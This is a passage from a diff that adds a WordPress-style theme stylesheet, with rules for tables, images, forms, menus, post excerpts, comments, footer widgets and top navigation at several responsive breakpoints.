#4d4d4d; + line-height: 1.5; +} + +th { + padding: 0.5em 0.75em; + border: solid 1px #4d4d4d; + line-height: 1.5; +} + +/* Images */ +.alignright, +.alignleft, +.aligncenter, +.alignnone, +.size-auto, +.size-full, +.size-large, +.size-medium, +.size-thumbnail { + height: auto; + line-height: 0; + max-width: 100%; + max-width: calc(100% - 48px); +} +.alignright img, +.alignleft img, +.aligncenter img, +.alignnone img, +.size-auto img, +.size-full img, +.size-large img, +.size-medium img, +.size-thumbnail img { + max-width: 100%; +} + +.alignleft { + float: left; + margin: 0 1.5em 1.5em 0; +} + +.alignright { + float: right; + margin: 0 0 1.5em 1.5em; +} + +.aligncenter { + text-align: center; + margin: 1.5em auto; + display: block; + max-width: 100%; +} + +.alignnone { + margin: 1.5em; +} + +img { + height: auto; + line-height: 0; +} + +.singular-attachment img { + max-width: 100%; +} + +article img { + max-height: 100%; + max-width: 100%; +} + +.wp-caption-text { + margin: 0; + color: #8c8c8c; +} + +.wp-caption.aligncenter { + max-width: none; + margin: 0 auto; + width: auto !important; +} + +/* Form styles */ +input[type="text"], +input[type="email"], +input[type="password"], +input[type="number"], +input[type="search"], +input[type="tel"], +input[type="url"], +textarea { + padding: 0.8em; + width: 100%; + max-width: 27.75em; + min-height: 45px; + outline: solid 1px #000; + border: none; + font-family: "raleway", sans-serif; + font-size: 0.813em; + line-height: 1.85; + border-radius: 0; + -webkit-appearance: none; + -webkit-transition: all 0.2s ease; + transition: all 0.2s ease; +} + +textarea { + max-width: 41.625em; + overflow: auto; +} + +input[type="submit"] { + background: #38312f; + color: white; + max-width: 22.2em; + min-width: 11.1em; + padding: 0.8em; + min-height: 45px; + outline: none; + border: none; + font-family: "raleway", sans-serif; + font-size: 0.813em; + line-height: 1.85; + border-radius: 0; + -webkit-appearance: none; + -webkit-transition: all 0.2s ease; + transition: all 0.2s ease; +} +input[type="submit"]:hover, input[type="submit"]:active, input[type="submit"]:focus { + cursor: pointer; + background: black; +} + +input[type="search"] { + margin-right: 1.5em; + padding-right: 0.375em; + /* so safari 'x' doesn't get cut off */ +} + +/* sticky */ +.excerpt.sticky .excerpt-container { + background: wheat; +} + +/* ie image border fix */ +a img { + border: none; +} + +.screen-reader-text { + position: absolute; + clip: rect(1px 1px 1px 1px); + /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + overflow: hidden; + height: 1px; + width: 1px; +} + +.skip-content { + position: absolute; + width: 100%; + background: #110800; + color: #aaaaaa; + text-align: center; + padding: 0.375em; + top: -4.5em; + z-index: 19; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.08em; +} +.skip-content:active, .skip-content:focus { + top: 0; + color: #ffffff; +} + +.search .sticky { + background: white; +} + +.blog .main, +.archive .main, +.search .main { + width: 88.89%; + max-width: 1280px; +} +.blog #breadcrumbs, +.archive #breadcrumbs, +.search #breadcrumbs { + width: 100%; +} + +.entry { + max-width: 1280px; +} + +.infinite-loader, +#infinite-handle { + clear: both; +} + +#breadcrumbs { + margin: 1.5em auto; + width: 88.88%; + max-width: 1280px; + color: #aaaaaa; +} +#breadcrumbs a { + color: #fff; +} + +@media only screen and (min-device-width: 320px) and (max-device-width: 480px) and (orientation: landscape) { + html { + -webkit-text-size-adjust: none; + /* none for no scaling */ + } +} +@media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape) { + html { + -webkit-text-size-adjust: none; + /* none for no scaling */ + } +} +.site-header { + padding: 0.75em 5.55%; +} +.site-header .container { + margin: 0 auto; + max-width: 1280px; +} +.site-header:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +.title-info { + float: left; + position: relative; + z-index: 29; +} + +.site-title { + letter-spacing: 0.06em; + opacity: 0.6; + -webkit-transition: opacity 0.2s ease; + transition: opacity 0.2s ease; +} +.site-title span { + opacity: 0; + position: absolute; + top: -99em; +} +.site-title a { + color: white; +} +.site-title a:link, .site-title a:visited, .site-title a:hover, .site-title a:active, .site-title a:focus { + color: white; +} +.site-title img { + max-width: 5em; + max-height: 1.5em; +} +.site-title:hover, .site-title:active, .site-title:focus { + opacity: 1; +} + +.toggle-navigation { + position: relative; + float: right; + z-index: 29; + border: none; + background: none; + font-size: 1em; + margin: 0; + padding: 0 0 0 1.5em; + color: white; + opacity: 0.6; + -webkit-transition: opacity 0.2s ease; + transition: opacity 0.2s ease; +} +.toggle-navigation:hover, .toggle-navigation:active, .toggle-navigation:focus { + opacity: 1; + cursor: pointer; + outline: none; +} + +.menu-primary, .menu-primary-tracks { + -webkit-transform: translateZ(0); + transform: translateZ(0); + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + position: absolute; + top: 0; + padding-top: 6em; + left: 100%; + height: 100%; + width: 100%; + z-index: 19; + background-image: -webkit-linear-gradient(#38312f 26px, transparent 24px, transparent 24px); + background-image: linear-gradient(#38312f 26px, transparent 24px, transparent 24px); + background-size: 1px 48px; + /* this is a 24px baseline grid */ + text-align: center; + -webkit-transition: all 0.3s ease-in-out; + transition: all 0.3s ease-in-out; +} + +.menu-primary-tracks { + top: 1.5em; + left: -100%; + z-index: 19; +} + +.site-header .site-description { + opacity: 0; + color: white; +} + +.menu-unset > ul, +.menu-primary-items { + list-style: none; + opacity: 0; +} +.menu-unset > ul a, +.menu-primary-items a { + display: block; + color: white; + opacity: 0.6; + margin: 1.5em 0 0.75em 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.menu-unset > ul a:only-child, +.menu-primary-items a:only-child { + margin: 1.5em 0; +} +.menu-unset > ul a:link, .menu-unset > ul a:visited, +.menu-primary-items a:link, +.menu-primary-items a:visited { + color: white; +} +.menu-unset > ul a:hover, .menu-unset > ul a:active, .menu-unset > ul a:focus, +.menu-primary-items a:hover, +.menu-primary-items a:active, +.menu-primary-items a:focus { + opacity: 1; +} +.menu-unset > ul .sub-menu, +.menu-unset > ul .children, +.menu-primary-items .sub-menu, +.menu-primary-items .children { + list-style: none; +} +.menu-unset > ul .sub-menu li a, +.menu-unset > ul .children li a, +.menu-primary-items .sub-menu li a, +.menu-primary-items .children li a { + margin: 0.75em 0; + opacity: 0.4; +} +.menu-unset > ul .sub-menu li a:hover, .menu-unset > ul .sub-menu li a:active, .menu-unset > ul .sub-menu li a:focus, +.menu-unset > ul .children li a:hover, +.menu-unset > ul .children li a:active, +.menu-unset > ul .children li a:focus, +.menu-primary-items .sub-menu li a:hover, +.menu-primary-items .sub-menu li a:active, +.menu-primary-items .sub-menu li a:focus, +.menu-primary-items .children li a:hover, +.menu-primary-items .children li a:active, +.menu-primary-items .children li a:focus { + opacity: 1; +} + +.site-header.toggled .menu-unset > ul, +.site-header.toggled .menu-primary-items, +.site-header.toggled .site-description { + -webkit-transition: opacity 0.3s 0.3s ease; + transition: opacity 0.3s 0.3s ease; +} +.site-header.toggled .menu-primary, .site-header.toggled .menu-primary-tracks, +.site-header.toggled .menu-primary-tracks { + left: 0; +} +.site-header.toggled .menu-unset > ul, +.site-header.toggled .menu-primary-items { + opacity: 1; +} +.site-header.toggled .site-description { + opacity: 0.9; +} + +/* 800px */ +@media all and (min-width: 50em) { + .site-header { + position: relative; + z-index: 2; + padding: 1.5em 5.55% 2.25em; + border-top: solid 0.75em #110800; + } + + .title-info { + margin-top: -0.75em; + } + + .site-title img { + max-width: 8em; + max-height: 3em; + } + + .toggle-navigation { + display: none; + } + + .menu-primary, .menu-primary-tracks { + background: none; + position: static; + width: 100%; + height: auto; + padding: 0; + margin: 0; + text-align: right; + min-height: 37px; + } + .menu-primary .site-description, .menu-primary-tracks .site-description { + position: absolute; + left: 0; + opacity: 0.6; + } + .menu-primary .site-description + div, .menu-primary-tracks .site-description + div { + margin-bottom: 0.75em; + } + + .ie9 .site-description { + left: 5.55%; + } + + .menu-primary-tracks { + display: none; + } + + .menu-unset > ul, + .menu-primary-items { + margin: 0 0 0 3em; + opacity: 1; + /* Tier 2 */ + /* Tier 3 */ + } + .menu-unset > ul li, + .menu-unset > ul a, + .menu-primary-items li, + .menu-primary-items a { + display: inline-block; + } + .menu-unset > ul li, + .menu-primary-items li { + position: relative; + } + .menu-unset > ul > li, + .menu-primary-items > li { + font-size: 0.813em; + line-height: 1.85; + } + .menu-unset > ul > li:after, + .menu-primary-items > li:after { + content: '/'; + position: absolute; + right: -6px; + top: 0; + color: white; + opacity: 0.6; + } + .menu-unset > ul > li:last-child:after, + .menu-primary-items > li:last-child:after { + display: none; + } + .menu-unset > ul > li:last-child a, + .menu-primary-items > li:last-child a { + margin-right: 0; + } + .menu-unset > ul a, + .menu-primary-items a { + opacity: 0.6; + margin: 0 0.75em; + } + .menu-unset > ul a:only-child, + .menu-primary-items a:only-child { + margin: 0 0.75em; + } + .menu-unset > ul ul, + .menu-primary-items ul { + position: absolute; + top: -9999px; + opacity: 0; + left: -70%; + right: -70%; + min-width: 100%; + max-width: 220px; + margin: 0 auto; + background: #110800; + text-align: center; + -webkit-transition: opacity 0.3s ease, -webkit-transform 0.3s ease; + transition: opacity 0.3s ease, transform 0.3s ease; + -webkit-transform: scale(0.95); + transform: scale(0.95); + } + .menu-unset > ul ul li, + .menu-unset > ul ul a, + .menu-primary-items ul li, + .menu-primary-items ul a { + display: block; + } + .menu-unset > ul ul:hover, + .menu-primary-items ul:hover { + top: 24px; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-unset > ul ul a, + .menu-primary-items ul a { + padding: 0 1.5em; + } + .menu-unset > ul ul li:first-child > a, + .menu-primary-items ul li:first-child > a { + padding-top: 0.75em; + } + .menu-unset > ul ul li:last-child > a, + .menu-primary-items ul li:last-child > a { + padding-bottom: 0.75em; + } + .menu-unset > ul a:hover + ul, .menu-unset > ul a:active + ul, .menu-unset > ul a:focus + ul, + .menu-primary-items a:hover + ul, + .menu-primary-items a:active + ul, + .menu-primary-items a:focus + ul { + top: 24px; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-unset > ul ul ul, + .menu-primary-items ul ul { + left: auto; + right: 100%; + } + .menu-unset > ul ul ul:hover, + .menu-primary-items ul ul:hover { + top: -0.75em; + } + .menu-unset > ul ul a:hover + ul, .menu-unset > ul ul a:active + ul, .menu-unset > ul ul a:focus + ul, + .menu-primary-items ul a:hover + ul, + .menu-primary-items ul a:active + ul, + .menu-primary-items ul a:focus + ul { + top: -0.75em; + } +} +.excerpt-container { + padding: 0 5.55%; + position: relative; + z-index: 9; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} + +.excerpt { + text-align: center; + background: white; + overflow: hidden; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + margin-bottom: 1.5em; +} + +.featured-image { + position: relative; + height: 0; + padding-bottom: 50%; + background-position: 50%; + background-size: cover; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-transition: -webkit-transform 0.3s ease; + transition: transform 0.3s ease; +} + +.zoom .featured-image-link { + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.zoom .featured-image-link:hover .featured-image, .zoom .featured-image-link:active .featured-image, .zoom .featured-image-link:focus .featured-image { + -webkit-transform: scale(1.05); + transform: scale(1.05); + -moz-transform: scale(1.05) rotate(0.02deg); +} + +.excerpt-meta, .entry-meta { + color: #aaaaaa; + padding-top: 1.84502em; +} +.excerpt-meta a, .entry-meta a { + color: #aaaaaa; +} +.excerpt-meta a:link, .entry-meta a:link, .excerpt-meta a:visited, .entry-meta a:visited { + color: #aaaaaa; +} +.excerpt-meta a:hover, .entry-meta a:hover, .excerpt-meta a:active, .entry-meta a:active, .excerpt-meta a:focus, .entry-meta a:focus { + color: #38312f; +} + +.excerpt-title, .entry-title { + letter-spacing: 0.04em; + font-size: 1.313em; + /* 21px / 16px */ + line-height: 1.143; +} +.excerpt-title a, .entry-title a { + color: #4d4d4d; +} +.excerpt-title a:link, .entry-title a:link, .excerpt-title a:visited, .entry-title a:visited { + color: #4d4d4d; +} +.excerpt-title a:hover, .entry-title a:hover, .excerpt-title a:active, .entry-title a:active, .excerpt-title a:focus, .entry-title a:focus { + color: #38312f; +} + +.excerpt-header, .entry-header { + position: relative; +} +.excerpt-header:after, .entry-header:after { + content: ''; + position: absolute; + background: #4d4d4d; + width: 4.5em; + height: 0.375em; + left: 0; + right: 0; + margin: 0 auto; + bottom: -1.5em; +} + +.excerpt-content { + padding: 1.5em 0; +} + +.more-link { + position: relative; + text-decoration: none; + color: #4d4d4d; + clear: both; +} +.more-link:link, .more-link:visited { + color: #4d4d4d; +} +.more-link:hover, .more-link:active, .more-link:focus { + color: #38312f; +} +.more-link:hover:after, .more-link:active:after, .more-link:focus:after { + -webkit-transform: scaleX(1); + transform: scaleX(1); +} +.more-link:after { + content: ''; + position: absolute; + width: 1.5em; + height: 3px; + background: #4d4d4d; + bottom: -0.75em; + left: 0; + right: 0; + margin: 0 auto; + -webkit-transition: all 0.2s ease; + transition: all 0.2s ease; + -webkit-transform: scaleX(0); + transform: scaleX(0); + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} + +.pagination { + text-align: center; + padding: 1.5em; + margin-bottom: -1.5em; +} +.pagination a, +.pagination span { + margin: 0 0.375em; + color: #8c8c8c; +} +.pagination a:link, +.pagination a:visited { + color: #8c8c8c; +} +.pagination a:hover, .pagination:active, .pagination:focus { + color: #aaaaaa; +} + +.infinite-scroll .pagination { + display: none; +} + +/* 600 */ +@media all and (min-width: 37.5em) { + .excerpt { + background: #110800; + margin-bottom: 1.5em; + } + .excerpt:first-child { + padding-top: 0; + } + + .excerpt-container { + background: white; + padding: 0 6.2%; + } + + .pagination { + padding: 0.75em 1.5em 3em; + } + + .excerpt-title, .entry-title { + font-size: 1.875em; + /* 30px */ + line-height: 1.6; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + .excerpt-container { + width: 50%; + padding: 0 5.55%; + } + + .excerpt { + -webkit-transform: translateZ(0); + transform: translateZ(0); + /* fix weird chrome wiggle glitch */ + position: relative; + clear: both; + padding: 0; + margin-bottom: 1.5em; + opacity: 0.8; + } + .excerpt .featured-image { + -webkit-transform: translateZ(0); + transform: translateZ(0); + /* fixes FF glitch where image focuses & unfocuses */ + width: 50%; + width: calc(50% + 2px); + height: 100%; + padding-bottom: 0; + position: absolute; + right: -1px; + } + .excerpt:hover { + opacity: 1; + } + + .excerpt.even .excerpt-container { + float: right; + } + .excerpt.even .featured-image { + right: auto; + left: -1px; + } + .excerpt.even:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + + .rtl .excerpt.odd .excerpt-container { + float: left; + } + + .excerpt-meta, .entry-meta { + padding-top: 3.69004em; + } + + .excerpt-content { + padding-bottom: 3em; + } + + .full-without-featured:not(.has-post-thumbnail):not(.has-video):not(.has-featured-slider) .excerpt-container { + width: 100%; + } +} +.entry { + background: white; + padding-bottom: 1.5em; +} + +.entry-meta { + text-align: center; +} + +.entry-header { + text-align: center; +} + +.entry-meta, +.entry-header { + padding-left: 5.55%; + padding-right: 5.55%; +} + +.entry-content { + margin: 3em 0; +} +.entry-content img.full-width { + position: relative; + max-width: none; + width: 113%; + left: -6.5%; +} +.entry-content iframe { + max-width: 100%; +} +.entry-content:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +.further-reading span, +.entry-categories span, +.entry-tags span { + display: block; +} +.further-reading a, +.entry-categories a, +.entry-tags a { + font-weight: 400; + color: #8c8c8c; +} +.further-reading a:link, .further-reading a:visited, +.entry-categories a:link, +.entry-categories a:visited, +.entry-tags a:link, +.entry-tags a:visited { + color: #8c8c8c; +} +.further-reading a:hover, .further-reading a:active, .further-reading a:focus, +.entry-categories a:hover, +.entry-categories a:active, +.entry-categories a:focus, +.entry-tags a:hover, +.entry-tags a:active, +.entry-tags a:focus { + color: black; +} + +.entry-categories a, +.entry-tags a { + margin-right: 0.375em; +} + +.entry-meta-bottom { + margin-bottom: 3em; +} + +.author-meta { + background: #38312f; + color: white; + padding: 1.5em; + margin: 3em 0 0; +} +.author-meta a { + color: #8c8c8c; +} +.author-meta a:link, .author-meta a:visited { + color: #8c8c8c; +} +.author-meta a:hover, .author-meta a:active, .author-meta a:focus { + color: white; +} +.author-meta p { + clear: both; +} +.author-meta .author img { + float: left; + margin: 0 0.75em 1.5em 0; + width: 4.5em; + height: 4.5em; + border-radius: 50%; +} +.author-meta .author a { + font-weight: 400; + letter-spacing: 0.1em; + display: block; +} +.author-meta .bio a { + margin-right: 0.375em; + display: inline-block; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .entry { + width: 88.88%; + margin: 0 auto; + } + + .entry-container { + padding: 0 5.55%; + } + + .further-reading p { + display: inline-block; + width: 50%; + vertical-align: top; + padding-right: 3em; + } + .further-reading .prev { + float: left; + } + .further-reading .next { + float: right; + text-align: right; + padding: 0 0 0 3em; + } + .further-reading:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + + .author-meta .author { + display: inline-block; + } + .author-meta .author img { + margin-bottom: 0; + } + .author-meta:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + + .bio { + float: right; + width: 50%; + } + .bio p { + margin-top: 0; + } +} +/* 700px */ +@media all and (min-width: 43.75em) { + .entry-container { + padding: 0 11.11%; + } + + .entry-meta, + .entry-header { + padding-left: 5.55%; + padding-right: 5.55%; + } + + .entry-content img.full-width { + width: 128.6%; + left: -14.3%; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + .entry .featured-image:after { + position: absolute; + content: ''; + background: #38312f; + top: 0; + bottom: 0; + left: 0; + width: 100%; + opacity: 0.2; + -webkit-transition: opacity 0.2s ease; + transition: opacity 0.2s ease; + } + .entry .featured-image:hover:after { + opacity: 0; + } + + .entry-container { + padding: 0 16.66%; + } + + .entry-header h1 { + font-size: 4.25em; + line-height: 1.06; + } + + .entry-meta { + font-size: 1em; + line-height: 1.5; + padding-top: 3em; + letter-spacing: 0.08em; + } + + .entry-content { + margin-top: 4.5em; + } + .entry-content img.full-width { + width: 150%; + left: -25%; + } +} +/* 1100px */ +@media all and (min-width: 68.75em) { + .entry-meta, + .entry-header { + padding-left: 11.11%; + padding-right: 11.11%; + } + + .entry-container { + padding: 0 19.435%; + position: relative; + } + + .entry-content img.full-width { + width: 163.6%; + left: -31.8%; + } + + .entry-meta-bottom.float .entry-tags, + .entry-meta-bottom.float .entry-categories { + position: absolute; + width: 16.66%; + left: 0; + top: 4.5em; + text-align: right; + padding-left: 5.55%; + } + .entry-meta-bottom.float .entry-tags a, + .entry-meta-bottom.float .entry-categories a { + font-weight: 700; + text-transform: none; + letter-spacing: 0; + display: block; + margin-right: 0; + } +} +/* 1200px */ +@media all and (min-width: 75em) { + .entry-container { + padding: 0 22.22%; + } + + .entry-content img.full-width { + width: 179.9%; + left: -39.95%; + } +} +.comments { + background: white; + padding-bottom: 3em; + max-width: 1280px; +} + +.comments-number { + padding: 1.5em 0; +} + +.comment-list { + list-style: none; + margin: 0; +} +.comment-list ul { + list-style: none; + margin: 3em 0 1.5em 3em; +} +.comment-list article ul { + list-style: disc; +} + +li.comment, +li.pingback { + margin: 3em 0; +} +li.comment:first-child, +li.pingback:first-child { + margin-top: 1.5em; +} + +.comment-author { + /* contains everything but the avatar */ +} +.comment-author img { + width: 4.5em; + height: 4.5em; + border-radius: 50%; + float: left; + margin: 0 0.75em 0 0; +} +.comment-author .author-name a { + text-decoration: none; + color: #4d4d4d; +} +.comment-author .author-name a:link, .comment-author .author-name a:visited { + color: #4d4d4d; +} +.comment-author .author-name a:hover, .comment-author .author-name a:active, .comment-author .author-name a:focus { + color: #38312f; +} +.comment-author:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +.comment-reply-link, +.comment-edit-link { + color: #4d4d4d; + text-decoration: none; +} +.comment-reply-link:link, .comment-reply-link:visited, +.comment-edit-link:link, +.comment-edit-link:visited { + color: #4d4d4d; +} +.comment-reply-link:hover, .comment-reply-link:active, .comment-reply-link:focus, +.comment-edit-link:hover, +.comment-edit-link:active, +.comment-edit-link:focus { + color: black; +} + +.comment-edit-link:before { + content: " / "; +} + +.comment-content { + margin: 1.5em 0; +} + +.bypostauthor > article .author-name:after { + content: ' (author)'; + text-transform: none; + font-weight: 400; + letter-spacing: 0; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .comments { + padding: 0 5.55% 3em; + width: 88.88%; + margin: 0 auto; + } + + .comment-pagination p { + width: 50%; + display: inline-block; + vertical-align: top; + text-align: left; + } + .comment-pagination .next-comment { + text-align: right; + } +} +/* 700px */ +@media all and (min-width: 43.75em) { + .comments { + padding: 0 11.11% 3em; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + .comments { + padding: 0 16.66% 3em; + } +} +/* 1000px */ +@media all and (min-width: 62.5em) { + li.comment article, + li.pingback article { + line-height: 0; + /* this is messing up the vertical rhythm */ + } + li.comment article:after, + li.pingback article:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + + .comment-author { + display: inline-block; + min-height: 4.5em; + } + .comment-author img { + float: none; + } + .comment-author div { + display: inline-block; + vertical-align: top; + } + .comment-author div div { + display: block; + } + + .comment-content { + float: right; + width: 50%; + margin: 0; + line-height: 1.5; + /* after turning it off on article */ + } + .comment-content p { + line-height: 1.5; + } + .comment-content p:first-child { + margin-top: 0; + } + .comment-content p:last-child { + margin-bottom: 0; + } +} +/* 1100px */ +@media all and (min-width: 68.75em) { + .comments { + padding: 0 19.435% 3em; + } +} +/* 1445px */ +@media all and (min-width: 1445px) { + .comments { + padding: 0 284px 3em; + } +} +.site-footer { + color: #8c8c8c; + text-align: center; + padding-top: 3em; + overflow: hidden; + clear: both; +} +.site-footer a { + color: #8c8c8c; +} +.site-footer h1 { + letter-spacing: 0.06em; + opacity: 0.4; + -webkit-transition: opacity 0.2s ease; + transition: opacity 0.2s ease; +} +.site-footer h1:hover, .site-footer h1:active, .site-footer h1:focus { + opacity: 0.9; +} +.site-footer p { + margin: 0 0 1.5em; + opacity: 0.6; +} +.site-footer .social-media-icons { + margin: 0.75em 0 1.5em; +} +.site-footer .social-media-icons a { + opacity: 0.4; +} + +.sidebar-footer { + background: #1A1A1A; + margin-bottom: -48px; + padding: 1.5em 5.55%; +} +.sidebar-footer .widget { + margin: 3em 0; +} +.sidebar-footer .widget:first-child { + margin-top: 1.5em; +} +.sidebar-footer .widget a:hover, .sidebar-footer .widget a:active, .sidebar-footer .widget a:focus { + color: #ededed; +} +.sidebar-footer .widget-title { + margin-bottom: 12px; +} + +.design-credit { + background: #110800; + color: #8c8c8c; + padding: 0.75em 0; + margin-top: 48px; +} +.design-credit a { + color: #8c8c8c; +} +.design-credit a:link, .design-credit a:visited { + color: #8c8c8c; +} +.design-credit a:hover, .design-credit a:active, .design-credit a:focus { + color: #aaaaaa; +} +.design-credit p { + margin: 0; + opacity: 0.6; +} + +.return-top { + display: none; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .return-top { + display: block; + position: fixed; + bottom: -4em; + right: 0; + width: 5.55%; + height: 4em; + background: white; + border: none; + opacity: 0.8; + text-align: center; + line-height: 4em; + outline: none; + -webkit-transition: all 0.3s ease; + transition: all 0.3s ease; + } + .return-top i { + position: relative; + top: 0; + -webkit-transition: top 0.3s ease; + transition: top 0.3s ease; + } + + .return-top.visible { + bottom: 0; + } + .return-top.visible:hover, .return-top.visible:active, .return-top.visible:focus { + opacity: 1; + cursor: pointer; + } + .return-top.visible:hover i, .return-top.visible:active i, .return-top.visible:focus i { + top: -6px; + } + + .sidebar-footer { + margin-bottom: -72px; + } + + .design-credit { + margin-top: 72px; + } +} +/* 700px */ +@media all and (min-width: 43.75em) { + .sidebar-footer { + margin-top: 3em; + } + .sidebar-footer:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + + .sidebar-footer:not(.active-1) .widget { + width: 47%; + float: left; + margin-top: 1.5em; + } + .sidebar-footer:not(.active-1) .widget:nth-child(odd) { + margin-right: 3%; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + .site-footer h1 { + font-size: 2.625em; + line-height: 1.143; + } +} +/* 1000px */ +@media all and (min-width: 62.5em) { + .sidebar-footer:not(.active-1):not(.active-2) .widget { + width: 31%; + margin-right: 0; + margin-top: 1.5em; + } + .sidebar-footer:not(.active-1):not(.active-2) .widget:nth-child(3n - 2), .sidebar-footer:not(.active-1):not(.active-2) .widget:nth-child(3n - 1) { + margin-right: 3%; + } + .sidebar-footer:not(.active-1):not(.active-2) .widget:nth-child(3n + 4) { + clear: left; + } +} +/* page */ +.singular-page .entry, +.error404 .entry, +.search .entry { + padding-top: 3em; +} + +.singular-page .featured-image { + margin-top: -3em; + margin-bottom: 3em; +} + +.error404 input, +.search input { + margin: 0.75em 0; +} +.error404 input[type="search"], +.search input[type="search"] { + margin-right: 0.75em; +} + +.search-form-container { + margin: 1.5em 0 3em; +} +.search-form-container .search-icon { + display: none; +} + +.archive-header { + padding: 1.5em 0; + text-transform: uppercase; + color: #8c8c8c; +} +.archive-header span { + letter-spacing: 0.08em; +} +.archive-header h1 { + letter-spacing: 0.06em; + font-weight: 700; + font-size: 1em; + line-height: 1.5; + display: inline-block; +} +.archive-header p { + margin: 0.75em 0; + text-transform: none; +} + +.archive .main { + padding-bottom: 0; +} + +.search .search-box { + padding: 1.5em; + margin-bottom: 1.5em; + background: white; + text-align: center; + clear: both; +} +.search .search-box .search-form-container { + margin-bottom: 1.5em; +} +.search .search-box.bottom { + margin-top: 1.5em; +} + +.page-template-full-width .entry { + width: 100%; + max-width: none; +} +.page-template-full-width .entry-container { + padding: 0 5%; + max-width: 1280px; + margin: 0 auto; +} + +/* 900px */ +@media all and (min-width: 56.25em) { + .search-form-container { + margin: 1.5em 0 4.5em; + } +} +/* Attachment styles */ +.singular-attachment .further-reading a { + font-weight: 700; + font-size: 1em; + line-height: 1.5; + color: #8c8c8c; +} +.singular-attachment .further-reading a:link, .singular-attachment .further-reading a:visited { + color: #8c8c8c; +} +.singular-attachment .further-reading a:hover, .singular-attachment .further-reading a:active, .singular-attachment .further-reading a:focus { + color: black; +} +.singular-attachment .further-reading p { + width: 49.5%; +} +.singular-attachment .attachment-container img { + display: block; +} + +/* Widget Area Styles */ +.sidebar-after-post-content, +.sidebar-after-page-content { + padding: 3em 0 0.75em; + border-top: solid 1px #ededed; + border-bottom: solid 1px #ededed; + margin-bottom: 1.5em; +} +.sidebar-after-post-content .widget, +.sidebar-after-page-content .widget { + margin-bottom: 2.25em; +} + +/* Widget Styles */ +.widget-title { + font-size: 1em; + line-height: 1.5; +} + +.widget ul { + margin: 1.5em 0; + list-style: none; +} +.widget li { + font-weight: 400; +} +.widget li a { + color: #8c8c8c; +} +.widget li a:link, .widget li a:visited { + color: #8c8c8c; +} +.widget li a:hover, .widget li a:active, .widget li a:focus { + color: black; +} + +.widget-search .search-form-container { + margin-bottom: 3em; +} + +.site-footer .widget_search .search-field { + max-width: none; +} +.site-footer .widget_search .search-submit { + background: #4d4d4d; + width: 100%; + max-width: none; + min-width: none; +} + +.widget_categories select { + margin-top: 1.5em; +} + +@media all and (min-width: 50em) { + .site-footer .widget_search .search-form { + display: -webkit-box; + display: flex; + } + .site-footer .widget_search .search-field, + .site-footer .widget_search .search-submit { + width: auto; + } + .site-footer .widget_search .search-field { + margin-right: 0; + -webkit-box-flex: 1; + flex-grow: 1; + } +} +/* Footer menu styles */ +.menu-footer-items { + list-style: none; + margin: 0.75em 0 1.5em; +} +.menu-footer-items li { + position: relative; + display: block; +} +.menu-footer-items a { + color: #8c8c8c; + opacity: 0.4; +} +.menu-footer-items a:link, .menu-footer-items a:visited { + color: #8c8c8c; +} +.menu-footer-items a:hover, .menu-footer-items a:active, .menu-footer-items a:focus { + color: #8c8c8c; + opacity: 0.9; +} +.menu-footer-items ul { + list-style: none; +} + +/* 700px */ +@media all and (min-width: 43.75em) { + .menu-footer-items li, + .menu-footer-items a { + display: inline-block; + } + .menu-footer-items a { + margin: 0 8px; + } + .menu-footer-items a:hover + ul, .menu-footer-items a:active + ul, .menu-footer-items a:focus + ul { + bottom: 24px; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-footer-items .sub-menu { + position: absolute; + background: #1A1A1A; + text-align: center; + margin: 0; + min-width: 100%; + max-width: 220px; + left: auto; + right: auto; + bottom: -9999px; + -webkit-transition: opacity 0.3s ease, -webkit-transform 0.3s ease; + transition: opacity 0.3s ease, transform 0.3s ease; + -webkit-transform: scale(0.95); + transform: scale(0.95); + } + .menu-footer-items .sub-menu:hover { + bottom: 24px; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-footer-items .sub-menu a { + display: block; + margin: 0; + padding: 0.75em 1.5em; + } + .menu-footer-items .sub-menu .sub-menu:hover { + bottom: 0; + left: 100%; + right: auto; + } + .menu-footer-items .sub-menu a:hover + ul, .menu-footer-items .sub-menu a:active + ul, .menu-footer-items .sub-menu a:focus + ul { + bottom: 0; + left: 100%; + right: auto; + } +} +/* top navigation styles */ +.top-navigation { + position: relative; + left: -6%; + width: 112%; + min-height: 3em; + background: #110800; + padding: 0.375em 5.55%; + margin: -0.75em 0 0; + line-height: 0; +} +.top-navigation ~ button { + top: 2.25em; +} +.top-navigation .container { + margin: 0 auto; + max-width: 1280px; +} +.top-navigation .container:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +.rtl .top-navigation { + right: -6%; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .top-navigation { + margin-top: -0.75em; + left: -6.2%; + width: 112.4%; + z-index: 39; + } +} +/* 800px */ +@media all and 